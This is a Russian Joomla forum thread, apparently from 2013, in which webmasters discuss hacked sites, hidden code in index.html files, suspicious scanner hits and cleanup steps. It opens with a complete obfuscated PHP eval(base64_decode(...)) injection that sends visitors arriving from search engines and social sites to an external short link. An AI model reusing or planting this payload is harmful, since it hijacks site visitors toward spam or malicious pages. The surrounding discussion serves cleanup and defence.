eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly90aW55dXJsLmNvbS9hNGFrNng5Iik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));
Сайты на Joomla, разработка и поддержка
----------
Помог ответ - жми плюс!
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
недавно случайно тыкал сайты пустые свои на супердешовом хостинге, просто домены отстаиваются))), так там ИФРЭЙМы были-были, а потом хоп и пропали, прям с дистанционным управлением получается
там джумка 1.5.26 на милкивее))) И ВСЕ! )))
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

stardel

  • Завсегдатай
  • 1943
  • 22 / 0
Очередной вебмастер чистить это нужно с помощью сканера, потом посмотреть каждый оставшийся подозрительный файл, удалить не используемые расширения с сайта-такие как модули, не нужные редакторы и прочее, посмотреть на ftp удалились ли они! Почистить папку tmp , обновить  Двигло и расширения до актуальных....как то так)
*

vlad178

  • Новичок
  • 1
  • 0 / 0
мой сайт тоже поломали :(

восстановил из бэкапа, из странностей - в бэкапе троянов и зараженных файлов вроде нет, но есть есть куча
очень подозрительных неактивных записей в таблице модуля редиректа. Честно сказать, не помню откуда этот модуль взялся, на всякий случай удалил вместе с JCE и TinyMCE
*

stardel

  • Завсегдатай
  • 1943
  • 22 / 0
vlad178 если старая версия Joomla то обнови) у меня 1.5.20 стояла а там говорят дыра уже три года...((( ну я и наловил по полной ....((
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
а что никто не говорит, что еще и файлы index.html меняются хакерами))) это те файлы, которые во всех папках и подпапках якобы для защиты от вхождения в папку напрямую из брауза)))
там хитро так сделано - если открыть в блокноте, то вроде все норм, а код чуть ниже края экрана прячется (много-много пустых строк вставлено и потом код), мышкой просто крутануть и все. ну и если внимательно глядеть, то видно, что есть еще строки ниже)))
проверяется величиной файла, нормально - 30-40 байт, а эти с вирусней в районе 300-400байт
там код похожий на саповские ставки, хех, такой типа <!-- 2805 -- >
« Последнее редактирование: 13.03.2013, 16:17:10 от verstalshik »
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

Alex Kop

  • Захожу иногда
  • 111
  • 1 / 0
Будьте добры, подскажите, что из ниже описанного является вредоносным кодом и требует устранения, и еще желательно как?? Можно ли скрытую ссылку убрать просто удалив из файла или заменить на свою?
« Последнее редактирование: 12.05.2013, 21:28:42 от Alex Kop »
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
невидимые ссылки точно стирать надо, другой вопрос, откуда они? из варезного шаблона?
а все, что касается подозрений на шелл или сигнатуры кода - вы посмотрите исходные файлы, например:

вот это простой заменой из установочного архива Joomla переписать

Цитировать
Z:\home\test1.ru\www/libraries/fof/controller/controller.php
customURL = $this->input->get('returnurl', '', 'string')) { $customURL = |base64_decode($customURL); } $url = !empty($customURL)? $customURL : 'i   26/03/2013 16:12:00   19/03/2013 14:28:20   55.32 Kb   1324997716
или это
Цитировать
Z:\home\test1.ru\www/components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/codemirror-compressed.js
cted public static switch throw trait try use var while xor die echo empty exit |eval include include_once isset list require require_once return print unset __   26/03/2013 16:11:54   10/03/2013 19:08:22   149.41 Kb   1591160481

а вот это сравните с архивом шаблона, который был у вас до установки на сайт)))
Цитировать
Z:\home\test1.ru\www/templates/rt_zephyr/html/com_content/article/default.php
0LbQtdC90LjQtSDRgdCw0LnRgtCwINCyINC40L3RgtC10YDQvdC10YLQtTwvYT4KPC9kaXY+'; echo |base64_decode($iret);?> <?php if (!$params->get('show_intro')) : echo $th   26/03/2013 16:12:15   24/02/2013 10:20:44   10.51 Kb   -387858078
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
ну а по поводу этого:
Цитировать
Z:\home\test1.ru\www/administrator/components/com_phocafavicon/help/en-GB/screen.phocafavicon.html
|<?php defined('_JEXEC') or die('Restricted access');?> <!DOCTYPE HTML PUBLIC "-   26/03/2013 16:11:44   24/02/2013 09:58:14   1.00 Kb   -1046922730
что можно сказать?)))) у вас даже фавикончик через компонент выводится?)))) сколько же у вас там понаустановлено?
вот цитата от разработчика:
Цитировать
Phoca Favicon компонент Joomla, который создает значок Favicon на вашем Joomla! сайта. Вы можете изменить значок вашего сайта в любое время.
это наверное действительно САМАЯ нужная вещь!!)))) шучу конечно, а то еще не поймете!)))
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
этот компонент кстати в моем черном списке)))
http://docs.joomla.org/Vulnerable_Extensions_List#Phoca_Fav_Icon
хоть и разработчик сделал обновление (проверьте свою версию!), но доверия уже нету, как и к JCE)))
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Редирект на спам ссылки. Как лчить?

Автор Евгений1980

Ответов: 2
Просмотров: 2520
Последний ответ 14.02.2024, 13:15:59
от wishlight
Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 71450
Последний ответ 30.08.2023, 12:53:33
от SeBun
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 3501
Последний ответ 25.05.2023, 08:49:57
от Театрал
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5114
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
Хостинг пишет, что найден вирус в /media/com_media/js/media-manager-es5.js

Автор AlexP750

Ответов: 6
Просмотров: 3522
Последний ответ 22.02.2022, 11:38:15
от AlexP750